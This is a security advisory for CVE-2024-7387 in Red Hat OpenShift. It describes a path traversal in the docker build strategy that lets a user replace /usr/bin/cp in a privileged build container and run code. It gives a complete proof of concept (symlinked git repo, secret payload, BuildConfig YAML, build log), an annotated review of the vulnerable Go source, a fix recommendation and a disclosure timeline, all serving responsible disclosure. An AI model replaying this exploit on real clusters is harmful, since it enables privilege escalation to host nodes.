[Advisory - Red Hat, OpenShift Container Platform] Path traversal allows command injection in privileged BuildContainer using docker build strategy
Product: | Red Hat - OpenShift Container Platform |
---|---|
Homepage: | https://www.redhat.com/en/technologies/cloud-computing/openshift |
CVE Number: | CVE-2024-7387 |
Tested version: | see 'Version information' |
Vulnerable version: | https://access.redhat.com/security/cve/CVE-2024-7387 |
Fixed version: | https://access.redhat.com/security/cve/CVE-2024-7387 |
CVSS Score: | Critical 9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
Found: | Jul 24, 2024 |
Product description
Red Hat OpenShift is the leading hybrid cloud application platform, bringing together a comprehensive set of tools and services that streamline the entire application lifecycle.
Trusted by 3,000 customers across industries (including 56% of the top 25 Global Fortune 500), it combines built-in security features with dedicated support, a trusted software supply chain, and Red Hat Enterprise Linux® as the operating foundation.
Available in self-managed or fully managed cloud service editions, OpenShift offers a complete set of integrated tools and services for cloud-native, AI, and traditional workloads alike.
Vulnerability overview
OpenShift
allows a user to create his own images with the help of the build component. This component has three primary build strategies available (Docu - Understanding image builds):
- Docker build
- Source-to-Image (S2I) build
- Custom build
As the builds are running in a privileged container, a vulnerability in this process allows an atttacker to escalate their permissions on the cluster and host nodes.
The custom build
is not safe, because they can execute any code within a privileged container and are disabled by default.
The other two strategies are considered as safe and are enabled for all users that can create builds.
But there is a note about the docker strategy
:
Grant docker build permissions with caution, because a vulnerability in the Dockerfile processing logic could result in a privileges being granted on the host node.
See: https://docs.openshift.com/container-platform/4.16/cicd/builds/securing-builds-by-strategy.html
The docker strategy
/ the image used during the build has a vulnerabiliy, which allows an attacker to override files inside the privileged build container with the help of the spec.source.secrets.secret.destinationDir
attribute of the BuildConfig
definition. After overriding the binary, execution of this overriden file can be triggered with another secret and the malicious code is executed in the privileged container.
As stated above, running code in a privileged container allows an attacker to escalate their permissions on the cluster and host nodes. As an example the host filesystem of the worker node can be mounted and a new SSH
key can be added to user core
of the Red Hat Enterprise Linux CoreOS (RHCOS)
.
Proof of concept
To exploit the vulnerability the following steps have to be done:
1) Create a git
repository with a Dockerfile
and a symbolic link to /usr/bin
2) Create a secret, with the key cp
and the content is the bash script executed during exploitation
3) Create another secret with arbitrary content, only used to trigger the exploit
4) Create a BuildConfig
:
- Using
docker
asspec.strategy.type
- Reference the created ‘git’ repo in
spec.source.git.uri
- Reference both secrets in
spec.source.secrets
- Set the
spec.source.secrets[0].destinationDir
attr to the symblic link from togit
repo 5) Trigger the build, which executes the payload in the privileged container
Step1 - Git repo
Create a git
repository which can be access by OpenShift
and add a Dockerfile
and a symbolic link.
mkdir /tmp/poc-repo
cd /tmp/poc-repo
git init
touch Dockerfile
# provide content for dockerfile
ln -s /usr/bin usr_bin
git add Dockerfile usr_bin
git commit -m "PoC"
git push
The Dockerfile
has the following content (snippet):
COPY . .
RUN ls -la
It copies all files from the current docker build
ContextDir
. During the build the ContextDir
is set to /tmp/build/inputs/
in the privilged build containers filesystem.
Then it lists all copied files via ls
.
Step2 - Create secret with payload to execute
Create a new secret which uses the key cp
and set the exploit payload as value and apply it.
kind: Secret
apiVersion: v1
metadata:
name: build-path-traversal
stringData:
cp: |
#!/bin/bash
touch /tmp/build/inputs/poc-rce.txt
type: Opaque
secret-build-path-traversal.yaml
oc apply -f ./definition/secret-build-path-traversal.yaml
secret/build-path-traversal created
The provided payload creates a file in the docker build
ContextDir
, which should be copied to the image during the build via COPY . .
.
#!/bin/bash
touch /tmp/build/inputs/poc-rce.txt
Step3 - Create the “trigger” secret
Create a new secret with arbitrary content and apply it.
kind: Secret
apiVersion: v1
metadata:
name: trigger-rce
stringData:
trigger: pwned
type: Opaque
oc apply -f ./definition/secret-trigger-rce.yaml
secret/trigger-rce created
Step4 - Create a BuildConfig
Then BuildConfig
config has to be created and applied.
kind: BuildConfig
apiVersion: build.openshift.io/v1
metadata:
name: build-priv-esc
spec:
nodeSelector: null
strategy:
type: Docker
dockerStrategy:
dockerfilePath: Dockerfile
source:
type: Git
git:
uri: 'https://<REDACTED>/build-rce-poc.git'
ref: main
contextDir: /
secrets:
- secret:
name: build-path-traversal
destinationDir: usr_bin
- secret:
name: trigger-rce
oc apply -f ./definition/build-cfg.yaml
buildconfig.build.openshift.io/build-priv-esc created
The important parts of this definion are:
- Using the
docker strategy
:spec: nodeSelector: null strategy: type: Docker
- Set the
destinationDir
ofsecret/build-path-traversal
to the symbolic link in thegit
repospec: # .... contextDir: / secrets: - secret: name: build-path-traversal destinationDir: usr_bin
Step5 - Trigger the build / RCE
After starting the build, the log can be inspected and verified that RUN ls -la
lists the file poc-rce.txt
.
oc start-build build-priv-esc
build.build.openshift.io/build-priv-esc-7 started
...
STEP 5/8: RUN ls -la
total 4
drwxr-xr-x 1 root root 70 Jul 31 07:57 .
dr-xr-xr-x 1 root root 17 Jul 31 07:57 ..
drwxr-xr-x 8 root root 163 Jul 31 07:57 .git
-rw-r--r-- 1 root root 967 Jul 31 07:57 Dockerfile
-rw-r--r-- 1 root root 0 Jul 31 07:57 poc-rce.txt
...
Source of the bug
The source code of the builder image can be found on GitHub - Builder.
Doing some manual source code review revealed the bug. The code for handling the docker strategy
and copying secrets can be found in pkg\build\builder\docker.go
.
!NOTE
Comments with the prefix// <<!! PoC Review !! >>
highlight key parts for the exploit.
// FILE: pkg\build\builder\docker.go
// ----------
// dockerBuild performs a docker build on the source that has been retrieved
func (d *DockerBuilder) dockerBuild(ctx context.Context, dir string, tag string) error {
var noCache bool
var forcePull bool
var buildArgs []docker.BuildArg
dockerfilePath := defaultDockerfilePath
if d.build.Spec.Strategy.DockerStrategy != nil {
if d.build.Spec.Source.ContextDir != "" {
dir = filepath.Join(dir, d.build.Spec.Source.ContextDir)
}
if d.build.Spec.Strategy.DockerStrategy.DockerfilePath != "" {
dockerfilePath = d.build.Spec.Strategy.DockerStrategy.DockerfilePath
}
for _, ba := range d.build.Spec.Strategy.DockerStrategy.BuildArgs {
buildArgs = append(buildArgs, docker.BuildArg{Name: ba.Name, Value: ba.Value})
}
noCache = d.build.Spec.Strategy.DockerStrategy.NoCache
forcePull = d.build.Spec.Strategy.DockerStrategy.ForcePull
}
auth := mergeNodeCredentialsDockerAuth(os.Getenv(dockercfg.PullAuthType))
// <<!! PoC Review !! >>
// Call copySecrets during a dockerBuild
if err := d.copySecrets(d.build.Spec.Source.Secrets, dir); err != nil {
return err
}
// ----------
// copySecrets copies all files from the directory where the secret is
// mounted in the builder pod to a directory where the is the Dockerfile, so
// users can ADD or COPY the files inside their Dockerfile.
func (d *DockerBuilder) copySecrets(secrets []buildapiv1.SecretBuildSource, targetDir string) error {
var err error
for _, s := range secrets {
err = d.copyLocalObject(secretSource(s), secretBuildSourceBaseMountPath, targetDir)
if err != nil {
return err
}
}
return nil
}
func (d *DockerBuilder) copyLocalObject(s localObjectBuildSource, sourceDir, targetDir string) error {
// <<!! PoC Review !! >>
// Create dstDir based on the value specified in the BuildConfig definition
// targetDir := /tmp/build/inputs/ -- docker build context
// s.DestinationPath() := usr_bin
// dstDir == /tmp/build/inputs/usr_bin -- Which is a symbolic link to /usr/bin
dstDir := filepath.Join(targetDir, s.DestinationPath())
// <<!! PoC Review !! >>
// Make everything in dstDir `rwx' for `user,group other` `0777`
if err := os.MkdirAll(dstDir, 0777); err != nil {
return err
}
log.V(3).Infof("Copying files from the build source %q to %q", s.LocalObjectRef().Name, dstDir)
// Build sources contain nested directories and fairly baroque links. To prevent extra data being
// copied, perform the following steps:
//
// 1. Only top level files and directories within the secret directory are candidates
// 2. Any item starting with '..' is ignored
// 3. Destination directories are created first with 0777
// 4. Use the '-L' option to cp to copy only contents.
//
srcDir := filepath.Join(sourceDir, s.LocalObjectRef().Name)
// <<!! PoC Review !! >>
// Walk the the mounted secrets specified in the `BuildConfig`
// As we named the key in `secret/build-path-traversal` `cp` there is a file mounted with this name
if err := filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if srcDir == path {
return nil
}
// skip any contents that begin with ".."
if strings.HasPrefix(filepath.Base(path), "..") {
if info.IsDir() {
return filepath.SkipDir
}
return nil
}
// ensure all directories are traversable
if info.IsDir() {
if err := os.MkdirAll(dstDir, 0777); err != nil {
return err
}
}
// <<!! PoC Review !! >>
// Use the `cp` command to copy the mounted secrets to the 'ContextDir'
// During processing of `secret/build-path-traversal`
// cp copies /run/secrets/buidl-path-traversal/cp to /tmp/build/inputs/usr_bin/cp
// As /tmp/build/inputs/usr_bin is a symbolic link to /usr/bin /usr/bin/cp is replaced by the payload
// During processing of `secret/trgger-rce` `/usr/bin/cp` is already replaced by the payload and is executed
// in the privileged build container
out, err := exec.Command("cp", "-vLRf", path, dstDir+"/").Output()
if err != nil {
log.V(4).Infof("Build source %q failed to copy: %q", s.LocalObjectRef().Name, string(out))
return err
}
}
Solution
To fix this vulnerability the variable dstDir
in the function copyLocalObject
has to be validated to share a common basePath
with the docker build
ContextDir
after it has been made absolute (resolve /../
) and canonicalized (resolve symblic links).
Version information
The vulnerability was found and verified using the application versions listed below:
oc version
Client Version: 4.12.0-202405222205.p0.gd691257.assembly.stream.el8-d691257
Kustomize Version: v4.5.7
Server Version: 4.12.59
Kubernetes Version: v1.25.16+306a47e
oc get pod build-priv-esc-7-build -o json | jq ".spec.containers[0].image"
"quay.io/openshift-release-dev/ocp-v4.0-art-dev@sha256:77faaecb0f5e2d59fe9181800b029c9186ca30e2c57353f890ee5a04b41ee1d7"
Fixes
See RedHat - CVE-2024-7387 Affected Packages and Issued Red Hat Security Errata
Timeline
- 2024-07-31: Vendor contacted via secalert@redhat.com, GPG encrypted
- 2024-08-01: Vendor replied that they are working on the report and that they resevered CVE-2024-7387
- 2024-08-16: Asked the vendor about an status update
- 2024-08-26: Asked the vendor again about an status update
- 2024-08-26: Vendor replied that they are still working on it and have no specific release date for the fix
- 2024-09-12: Vendor informed me that the vulnerability info would be published on 2024-09-16
- 2024-09-16: Vendor released public information about the vulnerability at https://access.redhat.com/security/cve/CVE-2024-7387
- 2024-09-19: Vendor released fixed versions